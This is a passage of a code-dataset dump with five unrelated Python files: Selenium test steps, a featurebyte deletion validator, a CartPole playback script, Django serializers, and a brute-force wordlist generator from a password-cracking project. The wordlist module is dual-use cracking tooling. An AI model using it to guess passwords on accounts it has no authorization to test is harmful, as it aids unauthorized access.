context.behave_driver.get_element(switch_location).click()\n    time.sleep(2)\n    index = int(''.join(char for char in nth if char in string.digits))\n\n    #不是alert弹窗，不用以下步骤\n    # context.behave_driver.switch_to.default_content()\n    # alert = context.behave_driver.alert()\n    # alert.get_element(sure_button_location).click()\n    context.behave_driver.get_elements(sure_button_location)[index].click()\n\n    #以下注释了，skin_management与后面用例冲突（todo：已经放开下面的内容，skin_management相关需要重新写）\n    time.sleep(2)\n    value2 = context.behave_driver.get_element(switch_location).get_attribute(attribute)\n    print(\"v1------------>\", value1)\n    print(\"v2------------>\", value2)\n    assert_not_equal(value2, value1)\n\n\n@step('I except that the element \"{ele}\" will be seen just for a while')\ndef step_impl(context, ele):\n    # 方法一：\n    WebDriverWait(context.behave_driver, 2000, 0.5).until(EC.presence_of_element_located((By.CLASS_NAME, ele)))\n\n    # 方法二\n    # count = 0\n    # while count < 20000:\n    #     if context.behave_driver.get_element(ele).is_displayed():\n    #         break\n    #     else:\n    #         count += count\n\n\n@step('I see that element \"{element}\" contains the text \"{value}\"')\ndef step_impl(context, element, value):\n    text = context.behave_driver.get_element(element).text\n    return text in value\n\n\n# @step('I set varied \"{value}\" to the inputfield \"{element}\"')\n# def step_impl(context, value, element):\n#     if value == \"__ID\":\n#         value = generate_random_string_with_lower_case_letters_and_digits()\n#     elem = context.behave_driver.get_element(element)\n#     elem.clear()\n#     time.sleep(2)\n#     elem.send_keys(value)\n#\n#\n# # 以下是api的behave测试复制过来的\n#\n#\n# @step('I get system infomation')\n# def step_impl(context):\n#     context.status_code, context.response = Getsysinfo(context.api_url).post_getsysinfo()\n#     try:\n#         if 200 == context.status_code and 1 == context.response[\"code\"]:\n#             context.token = context.response[\"data\"][\"token\"]\n#             context.key = context.response[\"data\"][\"Key\"]\n#     except Exception as e:\n#         print(e)\n#\n#\n# @step('I login with clientType \"{clientType}\", os_type \"{os_type}\", username \"{username}\", '\n#       'userpass \"{userpass}\", time \"{time}\"')\n# def step_impl(context, clientType, os_type, username, userpass, time):\n#     clientType = judge_whether_a_digit(clientType)\n#     os_type = judge_whether_a_digit(os_type)\n#     if username == \"__XIDADA\":\n#         username = context.username\n#     if \"__TIME\" == time:\n#         time = get_time_stamp10()\n#     else:\n#         time = judge_whether_a_digit(time)\n#     payload = set_payload(clientType=clientType, os_type=os_type, username=username, userpass=userpass, time=time)\n#     url = \"/home/login\"\n#     get_context_result_before_login(context, url, context.token, payload)\n#     try:\n#         if 200 == context.status_code and 1 == context.response[\"code\"]:\n#             context.session_key = context.response[\"data\"][\"session_key\"]\n#             context.userkey = context.response[\"data\"][\"userkey\"]\n#             context.username = context.response[\"data\"][\"username\"]\n#     except Exception as e:\n#         print(e)\n#\n#\n# @step('I save Gold into yuebao with access_gold \"{access_gold}\"')\n# def step_impl(context, access_gold):\n#     if access_gold.isdigit():\n#         access_gold = int(access_gold)\n#     payload = Payload(access_gold)\n#     headers = Headers(context.session_key, context.userkey)\n#     context.status_code, context.response = YuebaosaveGold(context.api_url, payload, headers).post_yuebaosaveGold(\n#         context.session_key, str(context.username))\n#\n#\n# @step('I take out Gold from yuebao with access_gold \"{access_gold}\", passwd \"{passwd}\"')\n# def step_impl(context, access_gold, passwd):\n#     if access_gold.isdigit():\n#         access_gold = int(access_gold)\n#     payload = Payload1(access_gold, passwd)\n#     headers = Headers(context.session_key, context.userkey)\n#     context.status_code, context.response = YuebaotakeoutGold(context.api_url, payload, headers).post_yuebaotakeoutGold(context.session_key, str(context.username))\n#\n#\n", "repo_name": "40jessica40/iSelenium_Python", "sub_path": "features/steps/webdriver_steps.py", "file_name": "webdriver_steps.py", "file_ext": "py", "file_size_in_byte": 8334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 59, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 72, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 80, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 92, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 94, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 103, "usage_type": "call"}, {"api_name": "nose.tools.assert_not_equal", "line_number": 107, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 113, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 115, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 125, "usage_type": "call"}, {"api_name": "nose.tools.assert_not_equal", "line_number": 129, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 135, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 135, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 135, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CLASS_NAME", "line_number": 135, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 135, "usage_type": "name"}]}
{"seq_id": "12030322271", "text": "\"\"\"\nThis file contains the error messages used in the featurebyte package that is used in multiple places.\n\"\"\"\nfrom bson import ObjectId\n\nfrom featurebyte.exception import DocumentDeletionError\nfrom featurebyte.models.batch_request_table import BatchRequestTableModel\nfrom featurebyte.models.observation_table import ObservationTableModel\nfrom featurebyte.models.static_source_table import StaticSourceTableModel\nfrom featurebyte.service.batch_feature_table import BatchFeatureTableService\nfrom featurebyte.service.batch_request_table import BatchRequestTableService\nfrom featurebyte.service.historical_feature_table import HistoricalFeatureTableService\nfrom featurebyte.service.observation_table import ObservationTableService\nfrom featurebyte.service.static_source_table import StaticSourceTableService\nfrom featurebyte.service.table import TableService\nfrom featurebyte.service.target_table import TargetTableService\nfrom featurebyte.service.use_case import UseCaseService\n\nMATERIALIZED_TABLE_DELETE_ERROR_MESSAGE = (\n    \"Cannot delete {table_name} Table {document_id} because it is referenced by \"\n    \"{total_ref_documents} {ref_table_name} Table(s): {ref_document_ids}\"\n)\n\n\nclass ObservationTableDeleteValidator:\n    \"\"\"\n    Observation Table Delete Validator\n    \"\"\"\n\n    def __init__(\n        self,\n        observation_table_service: ObservationTableService,\n        historical_feature_table_service: HistoricalFeatureTableService,\n        target_table_service: TargetTableService,\n        use_case_service: UseCaseService,\n    ):\n        self.observation_table_service = observation_table_service\n        self.historical_feature_table_service = historical_feature_table_service\n        self.target_table_service = target_table_service\n        self.use_case_service = use_case_service\n\n    async def check_delete_observation_table(\n        self,\n        observation_table_id: ObjectId,\n    ) -> ObservationTableModel:\n        \"\"\"\n        Check that the observation table is not referenced in historical features or target tables.\n\n        Parameters\n        ----------\n        observation_table_id: ObjectId\n            Document id to delete\n\n        Returns\n        -------\n        ObservationTableModel\n\n        Raises\n        ------\n        DocumentDeletionError\n            If the document cannot be deleted\n        \"\"\"\n        document = await self.observation_table_service.get_document(\n            document_id=observation_table_id\n        )\n        reference_ids = [\n            str(doc[\"_id\"])\n            async for doc in self.historical_feature_table_service.list_documents_as_dict_iterator(\n                query_filter={\"observation_table_id\": document.id}\n            )\n        ]\n        target_reference_ids = [\n            str(doc[\"_id\"])\n            async for doc in self.target_table_service.list_documents_as_dict_iterator(\n                query_filter={\"observation_table_id\": document.id}\n            )\n        ]\n        # check if the document is associated with a use case\n        use_case_ids = [\n            str(doc[\"_id\"])\n            async for doc in self.use_case_service.list_documents_as_dict_iterator(\n                query_filter={\"context_id\": document.context_id}\n            )\n        ]\n        all_reference_ids = reference_ids + target_reference_ids + use_case_ids\n        if all_reference_ids:\n            table_names = []\n            if reference_ids:\n                table_names.append(\"Historical Feature\")\n            if target_reference_ids:\n                table_names.append(\"Target\")\n            if use_case_ids:\n                table_names.append(\"UseCase\")\n            raise DocumentDeletionError(\n                MATERIALIZED_TABLE_DELETE_ERROR_MESSAGE.format(\n                    document_id=document.id,\n                    table_name=\"Observation\",\n                    ref_table_name=\", \".join(table_names),\n                    ref_document_ids=all_reference_ids,\n                    total_ref_documents=len(all_reference_ids),\n                )\n            )\n        return document\n\n\nasync def check_delete_batch_request_table(\n    batch_request_table_service: BatchRequestTableService,\n    batch_feature_table_service: BatchFeatureTableService,\n    document_id: ObjectId,\n) -> BatchRequestTableModel:\n    \"\"\"\n    Check delete batch request table given the document id & services\n\n    Parameters\n    ----------\n    batch_request_table_service: BatchRequestTableService\n        Batch request table service\n    batch_feature_table_service: BatchFeatureTableService\n        Batch feature table service\n    document_id: ObjectId\n        Document id to delete\n\n    Returns\n    -------\n    BatchRequestTableModel\n\n    Raises\n    ------\n    DocumentDeletionError\n        If the document cannot be deleted\n    \"\"\"\n    document = await batch_request_table_service.get_document(document_id=document_id)\n    reference_ids = [\n        str(doc[\"_id\"])\n        async for doc in batch_feature_table_service.list_documents_as_dict_iterator(\n            query_filter={\"batch_request_table_id\": document.id}\n        )\n    ]\n    if reference_ids:\n        raise DocumentDeletionError(\n            MATERIALIZED_TABLE_DELETE_ERROR_MESSAGE.format(\n                document_id=document.id,\n                table_name=\"Batch Request\",\n                ref_table_name=\"Batch Feature\",\n                ref_document_ids=reference_ids,\n                total_ref_documents=len(reference_ids),\n            )\n        )\n    return document\n\n\nasync def check_delete_static_source_table(\n    static_source_table_service: StaticSourceTableService,\n    table_service: TableService,\n    document_id: ObjectId,\n) -> StaticSourceTableModel:\n    \"\"\"\n    Check delete static source table given the document id & services\n\n    Parameters\n    ----------\n    static_source_table_service: StaticSourceTableService\n        Static source table service\n    table_service: TableService\n        Table service\n    document_id: ObjectId\n        Document id to delete\n\n    Returns\n    -------\n    StaticSourceTableModel\n\n    Raises\n    ------\n    DocumentDeletionError\n        If the document cannot be deleted\n    \"\"\"\n    document = await static_source_table_service.get_document(document_id=document_id)\n    reference_ids = [\n        str(doc[\"_id\"])\n        async for doc in table_service.list_documents_as_dict_iterator(\n            query_filter={\"tabular_source\": document.location.dict()}\n        )\n    ]\n    if reference_ids:\n        raise DocumentDeletionError(\n            MATERIALIZED_TABLE_DELETE_ERROR_MESSAGE.format(\n                document_id=document.id,\n                table_name=\"Static Source\",\n                ref_table_name=\"Featurebyte\",\n                ref_document_ids=reference_ids,\n                total_ref_documents=len(reference_ids),\n            )\n        )\n    return document\n", "repo_name": "featurebyte/featurebyte", "sub_path": "featurebyte/service/validator/materialized_table_delete.py", "file_name": "materialized_table_delete.py", "file_ext": "py", "file_size_in_byte": 6816, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "78", "api": [{"api_name": "featurebyte.service.observation_table.ObservationTableService", "line_number": 32, "usage_type": "name"}, {"api_name": "featurebyte.service.historical_feature_table.HistoricalFeatureTableService", "line_number": 33, "usage_type": "name"}, {"api_name": "featurebyte.service.target_table.TargetTableService", "line_number": 34, "usage_type": "name"}, {"api_name": "featurebyte.service.use_case.UseCaseService", "line_number": 35, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 44, "usage_type": "name"}, {"api_name": "featurebyte.exception.DocumentDeletionError", "line_number": 94, "usage_type": "call"}, {"api_name": "featurebyte.models.observation_table.ObservationTableModel", "line_number": 45, "usage_type": "name"}, {"api_name": "featurebyte.service.batch_request_table.BatchRequestTableService", "line_number": 107, "usage_type": "name"}, {"api_name": "featurebyte.service.batch_feature_table.BatchFeatureTableService", "line_number": 108, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 109, "usage_type": "name"}, {"api_name": "featurebyte.exception.DocumentDeletionError", "line_number": 140, "usage_type": "call"}, {"api_name": "featurebyte.models.batch_request_table.BatchRequestTableModel", "line_number": 110, "usage_type": "name"}, {"api_name": "featurebyte.service.static_source_table.StaticSourceTableService", "line_number": 153, "usage_type": "name"}, {"api_name": "featurebyte.service.table.TableService", "line_number": 154, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 155, "usage_type": "name"}, {"api_name": "featurebyte.exception.DocumentDeletionError", "line_number": 186, "usage_type": "call"}, {"api_name": "featurebyte.models.static_source_table.StaticSourceTableModel", "line_number": 156, "usage_type": "name"}]}
{"seq_id": "23718458284", "text": "import gym\nimport random\nimport numpy as np\nimport time\nimport matplotlib.pyplot as plt\nimport collections\nfrom collections import namedtuple\nfrom itertools import count\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport box\n\nimport ffmpeg\nfrom model import Network\n\nnp.random.seed(42)\n\nTransition = namedtuple('Transition',('state', 'action', 'next_state', 'reward', 'not_done'))\n\n\ntraining_params = {\n    'batch_size': 256,\n    'gamma': 0.95,\n    'epsilon_start': 1.1,\n    'epsilon_end': 0.05,\n    'epsilon_decay': 0.95,\n    'target_update': 'soft',  # use 'soft' or 'hard'\n    'tau': 0.01,  # relevant for soft update\n    'target_update_period': 15,  # relevant for hard update\n    'grad_clip': 0.1,\n}\n\nenv = gym.make('CartPole-v0')\nenv = gym.wrappers.Monitor(env,'recording',force=True)\n\nnetwork_params = {\n    'state_dim': env.observation_space.shape[0],\n    'action_dim': env.action_space.n,\n    'hidden_dim': 64}\ndevice = torch.device(\"cpu\")\n\n\nnetwork_params = box.Box(network_params)\nparams = box.Box(training_params)\n\nFPS = 25\nvisualize = 'True'\n\n\nnet = Network(network_params, device).to(device)\n\n\nprint('load best model ...')\nnet.load_state_dict(torch.load('best.dat'))\n\nprint('make movie ...')\nstate = env.reset()\ntotal_reward = 0.0\nc = collections.Counter()\n\nwhile True:\n    start_ts = time.time()\n    if visualize:\n        env.render()\n    state_v = torch.tensor(np.array([state], copy=False)).float()\n    q_vals = net(state_v).data.numpy()[0]\n    action = np.argmax(q_vals)\n    c[action] += 1\n    state, reward, done, _ = env.step(action)\n    total_reward += reward\n    if done:\n        break\n    if visualize:\n        delta = 1 / FPS - (time.time() - start_ts)\n        if delta > 0:\n            time.sleep(delta)\nprint(\"Total reward: %.2f\" % total_reward)\nprint(\"Action counts:\", c)\nenv.close()", "repo_name": "YReisner/QLearning-Assignment", "sub_path": "movie.py", "file_name": "movie.py", "file_ext": "py", "file_size_in_byte": 1862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.seed", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 19, "usage_type": "attribute"}, {"api_name": "collections.namedtuple", "line_number": 21, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 36, "usage_type": "call"}, {"api_name": "gym.wrappers.Monitor", "line_number": 37, "usage_type": "call"}, {"api_name": "gym.wrappers", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 43, "usage_type": "call"}, {"api_name": "box.Box", "line_number": 46, "usage_type": "call"}, {"api_name": "box.Box", "line_number": 47, "usage_type": "call"}, {"api_name": "model.Network", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 57, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 62, "usage_type": "call"}, {"api_name": "time.time", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 70, "usage_type": "call"}, {"api_name": "time.time", "line_number": 77, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "11630814227", "text": "from rest_framework import serializers\nfrom . import models\n\n\nclass StringSerializer(serializers.StringRelatedField):\n    def to_internal_value(self, value):\n        return value\n\n\nclass ProductSerializer(serializers.ModelSerializer):\n    category = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.Product\n        fields = [\n            'name',\n            'owner',\n            'description',\n            'condition',\n            'category',\n            'brand',\n            'price',\n            'image',\n            'created',\n            'featured',\n            'slug',\n            'quantity'\n        ]\n\n    def get_category(self, obj):\n        return CategorySerializer(obj.category).data['category_name']\n\n\nclass ProductCreateSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Product\n        fields = [\n            'name',\n            'owner',\n            'description',\n            'condition',\n            'category',\n            'brand',\n            'price',\n            'image',\n            'created',\n            'featured',\n            'slug',\n            'quantity'\n        ]\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Category\n        fields = [\n            'category_name',\n        ]\n\n\nclass PostSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = models.Product\n        fields = [\n            'name',\n            'description',\n            'condition',\n            'category',\n            'brand',\n            'price',\n            'image',\n            'featured'\n        ]\n\n\nclass OrderlistSerializer(serializers.ModelSerializer):\n    product = serializers.SerializerMethodField()\n    final_price = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.Orderlist\n        fields = (\n            'orderlistid',\n            'product',\n            'quantity',\n            'final_price'\n        )\n\n    def get_product(self, obj):\n        return ProductSerializer(obj.product).data['name']\n\n    def get_final_price(self, obj):\n        return obj.get_total_product_price()\n\n\nclass AddressSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = models.Address\n        fields = (\n            'id',\n            'user',\n            'street_address',\n            'apartment_address',\n            'zip',\n            'default'\n        )\n\n\nclass CartViewSerializer(serializers.ModelSerializer):\n    product = serializers.SerializerMethodField()\n    price = serializers.SerializerMethodField()\n    image = serializers.SerializerMethodField()\n    product_quantity = serializers.SerializerMethodField()\n    slug = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.Orderlist\n        fields = [\n            'product',\n            'quantity',\n            'price',\n            'image',\n            'product_quantity',\n            'slug',\n        ]\n\n    def get_price(self, obj):\n        return ProductSerializer(obj.product).data['price']\n\n    def get_product(self, obj):\n        return ProductSerializer(obj.product).data['name']\n\n    def get_image(self, obj):\n        return ProductSerializer(obj.product).data['image']\n\n    def get_product_quantity(self, obj):\n        return ProductSerializer(obj.product).data['quantity']\n\n    def get_slug(self, obj):\n        return ProductSerializer(obj.product).data['slug']\n\n\nclass MyorderSerializer(serializers.ModelSerializer):\n    total_price = serializers.SerializerMethodField()\n\n    class Meta:\n        model = models.Order\n        fields = [\n            'orderid',\n            'start_date',\n            'delivery_date',\n            'received',\n            'cashOnDelivery',\n            'total_price',\n        ]\n\n    def get_total_price(self, obj):\n        return obj.get_total()\n", "repo_name": "hsntrq/e-showroom-gaming", "sub_path": "api/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 3818, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 5, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 5, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 10, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 11, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 34, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 53, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 53, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 61, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 61, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 76, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 76, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 77, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 78, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 78, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 96, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 96, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 110, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 110, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 111, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 111, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 112, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 112, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 113, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 113, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 114, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 114, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 115, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 115, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 144, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 144, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 145, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 145, "usage_type": "name"}]}
{"seq_id": "28601036928", "text": "#!/bin/python3\n# -*- coding: utf-8 -*-\n'''Module incuding wordlist_generator fonctions'''\n\nwrdlst_gen__auth = 'Lasercata, Elerias'\nwrdlst_gen__last_update = '16.06.2021'\nwrdlst_gen__version = '7.0'\n\n\n##-import\nfrom datetime import datetime as dt\nfrom os.path import isfile\n\nfrom modules.base.base_functions import inp_int, space, use_menu, set_prompt, inp_lst, h_size\nfrom modules.base.progress_bars import *\nfrom modules.base.console.color import cl_inp, cl_out, c_error, c_prog, c_succes, c_wrdlt, c_ascii, c_output, color\n\n##-ini\nalf_01 = '01'\nalf_09 = '0123456789'\nalf_hex = alf_09 + 'abcdef'\nalf_az = 'abcdefghijklmnopqrstuvwxyz'\nalf_AZ = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\nalf_az09 = alf_az + alf_09\nalf_AZ09 = alf_AZ + alf_09\nalf_azAZ = alf_az + alf_AZ\nalf_azAZ09 = alf_azAZ + alf_09\n\nalf_spe = ' !\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~£§¨°²µ’€'\n\nalf_all = alf_azAZ09 + alf_spe\n\n#alfs = (alf_0_1, alf_0_9, alf_hex, alf_a_z, alf_A_Z, alf_a_z_0_9, alf_A_Z_0_9, alf_a_z_A_Z, alf_a_z_A_Z_0_9, alf_spe, alf_all)\n\n#inp_alf = ('0-1', '0-9', 'hex', 'a-z', 'A-Z', 'a-z, 0-9', 'A-Z, 0-9', 'a-z, A-Z', 'a-z, A-Z, 0-9', 'spe', 'all', 'write')\n\nalfs = {\n    '0-1' : alf_01,\n    '0-9' : alf_09,\n    'hex' : alf_hex,\n    'a-z' : alf_az,\n    'A-Z' : alf_AZ,\n    'a-z, 0-9' : alf_az09,\n    'A-Z, 0-9' : alf_AZ09,\n    'a-z, A-Z' : alf_azAZ,\n    'a-z, A-Z, 0-9' : alf_azAZ09,\n    'spe' : alf_spe,\n    'all' : alf_all\n}\n\n\n\n\n##-main\nclass WordlistGenerator:\n    '''Class which allow to generate wordlists'''\n\n    def __init__(self, fn, w_lth, alf, binary=True, encod='utf-8', interface=None):\n        '''\n        Initiate the WordlistGenerator object.\n\n        fn : the wordlist's file name ;\n        w_lth : the words' length. Should be an int ;\n        alf : the alphabet to use. If type = str and in alfs, use the corresponding alphabet ;\n        binary : Should be a boolean. Correspond to the binary mode while writting ;\n        encod : the file's encoding ;\n        interface : the interface using this function. Should be None,\n            'gui', or 'console'. Used to choose the progress bar.\n        '''\n\n        #------check values\n        if binary not in (True, False):\n            raise ValueError('The argument \"binary\" should be a boolean, but \\\n                \"{}\" of type \"{}\" was found !!!'.format(binary, type(binary)))\n\n        if interface not in (None, 'gui', 'console'):\n            raise ValueError('The argument \"interface\" should be None, \"gui\", \\\n                or \"console\", but {} of type {} was found !!!'.format(interface, type(interface)))\n\n        if type(alf) not in (str, list, set, tuple):\n            raise ValueError('The argument \"alf\" should be an iterable, but a \\\n                \"{}\" found !!!'.format(type(alf)))\n\n        if type(w_lth) != int:\n            raise ValueError('The argument \"w_lth\" should be an int, but a \"{}\" \\\n                was found !!!'.format(type(w_alf)))\n\n\n        #------check if the file already exist\n        if isfile(fn): #os.path.isfile\n            msg = 'The file \"{}\" already exist !!!'.format(fn)\n\n            if interface == None:\n                raise FileExistsError(msg)\n\n            elif interface == 'console':\n                cl_out(c_error, msg)\n                raise FileExistsError(msg)\n\n            else:\n                QMessageBox.critical(None, '!!! File already exist !!!', '<h2>{}</h2>'.format(msg))\n                raise FileExistsError(msg)\n\n\n        #------initiate the self values\n        if type(alf) == str and alf in alfs:\n            self.alf = alfs[alf]\n\n        else:\n            self.alf = alf\n\n        self.fn = fn\n        self.w_lth = w_lth\n        self.binary = binary\n        self.encod = encod\n        self.interface = interface\n\n\n        #------others values\n        self.alf_lth = len(self.alf)\n        self.wrdlst_lth = self.alf_lth **self.w_lth\n        self.size = self.wrdlst_lth * (self.w_lth + 2) #the number of characters. +2 bc of the CRLF.\n\n        self.nb_rep = sum(self.alf_lth**k for k in range(self.w_lth - 1))\n\n        self.new_l = ('\\n', b'\\n')[self.binary]\n\n\n\n    def __repr__(self):\n        '''Represent the WordlistGenerator object.'''\n\n        return \"WordlistGenerator(fn='{}', w_lth='{}', alf='{}', binary='{}', encod='{}', interface='{}')\".format(\n            self.fn,\n            self.w_lth,\n            self.alf,\n            self.binary,\n            self.encod,\n            self.interface\n        )\n\n\n\n    #---------ini\n    def ini(self):\n        '''Initiate some values and objects. Used with self._gen.'''\n\n        print('Processing ...')\n\n        #self.t0 = dt.now()\n\n        if self.binary:\n            self.file = open(self.fn, 'wb')\n\n        else:\n            self.file = open(self.fn, 'w', encoding=self.encod)\n\n\n        if self.interface == 'gui':\n            self.pb = GuiProgressBar(title='Writing \"{}\" ... ― Cracker'.format(self.fn), verbose=True, mn=1)\n\n        elif self.interface == 'console':\n            self.pb = ConsoleProgressBar()\n\n        self.rep = 0\n\n\n\n    #---------_gen\n    def _gen(self, lth, b_word):\n        '''\n        Generate and write the wordlist in the file self.fn.\n\n        lth : the remaining letters to add to the word ;\n        b_word : the begin of the word.\n        '''\n\n        if lth == self.w_lth : #if it is main function (to open only one time)\n            self.ini()\n\n        if self.binary and type(b_word) != bytes:\n            b_word = b_word.encode(encoding=self.encod, errors='replace')\n\n\n        if lth == 1:\n            for k in self.alf:\n                if self.binary:\n                    k = k.encode(encoding=self.encod, errors='replace')\n\n                self.file.write(b_word + k + self.new_l)\n\n        else :\n            for k in self.alf:\n                if self.binary:\n                    k = k.encode(encoding=self.encod, errors='replace')\n\n                self._gen(lth - 1, b_word + k)\n\n            #---print the progression\n            self.rep += 1\n\n            if self.interface in ('gui', 'console'):\n                self.pb.set(self.rep, self.nb_rep)\n\n\n\n        if lth == self.w_lth:\n            #self.t_end = dt.now()\n            self.file.close()\n\n\n    #---------generate\n    def generate(self):\n        '''Use the function self._gen to generate and write the wordlist.'''\n\n        msg = \"Words' length : {} characters ;\".format(self.w_lth)\n        msg += \"\\nAlphabet's length : {} characters ;\".format(self.alf_lth)\n        msg += \"\\nWordlist's length : {} lines ;\".format(space(str(self.wrdlst_lth)))\n        msg += \"\\nWordlist's size : {} ({} bytes).\".format(h_size(self.size), space(str(self.size)))\n\n\n        if self.interface == None:\n            print(msg)\n            sure = True\n\n        elif self.interface == 'console':\n            cl_out(c_output, msg)\n            sure = inp_lst('Generate ? (y/n) :', ('y', 'n')) == 'y'\n\n        else:\n            msg_ = msg + '\\n\\nGenerate ?'\n\n            sure = QMessageBox.question(\n                None, 'Generate ?', msg_, \\\n                QMessageBox.Yes | QMessageBox.Cancel, QMessageBox.Yes) == QMessageBox.Yes\n\n\n        if sure :\n            self._gen(self.w_lth, '')\n\n\n\n\n\n\n\n\n\n\n\n\n#todo: remove this\n\n##-main function\ndef wordlist_generator_6(alf, dep_lth, lth, f_name, b_word):\n    '''Write a wordlist in a file.\n\n    Keywords arguments :\n    alf : the alphabet used to write the wordlist\n    dep_lth : the lenth of the words in the wordlist\n    lth : the remaining letters to add to the word\n    f_name : the filename\n    b_word : the begin of the word\n    '''\n\n    global file_\n    global rep\n    global lst_rep\n\n    len_alf = len(alf)\n    lth_wrdlst = len_alf**int(dep_lth)\n\n    nb_rep = sum(len_alf**k for k in range(dep_lth - 1))\n\n\n    if lth == dep_lth : #if it is main function (to open only one time)\n        file_ = open(f_name, 'w')\n\n        print('Processing ...\\n')\n        t1 = dt.now()\n        rep = 0\n        lst_rep = []\n\n\n    if lth == 1:\n        for k in alf:\n            file_.write(b_word + k + '\\n')\n\n    else :\n        for k in alf:\n            wordlist_generator_6(alf, dep_lth, lth-1, f_name, b_word + k)\n\n        #print the progression\n        rep += 1\n        rep50 = round(rep/nb_rep*50)\n\n        color(c_wrdlt)\n        if rep > 1:\n            print('\\b'*52, end='')\n        print('|' + '#'*rep50 + ' '*(50-rep50) + '|', end='')\n        color(c_prog)\n\n\n\n    if lth == dep_lth:\n        t2 = dt.now() #calc the time duration\n        t_dif = t2 - t1\n        cl_out(c_succes, '\\nDone in ' + str(t_dif) + ' second(s)')\n\n        file_.close()\n", "repo_name": "lasercata/Cracker", "sub_path": "modules/wordlists/wordlist_generator.py", "file_name": "wordlist_generator.py", "file_ext": "py", "file_size_in_byte": 8520, 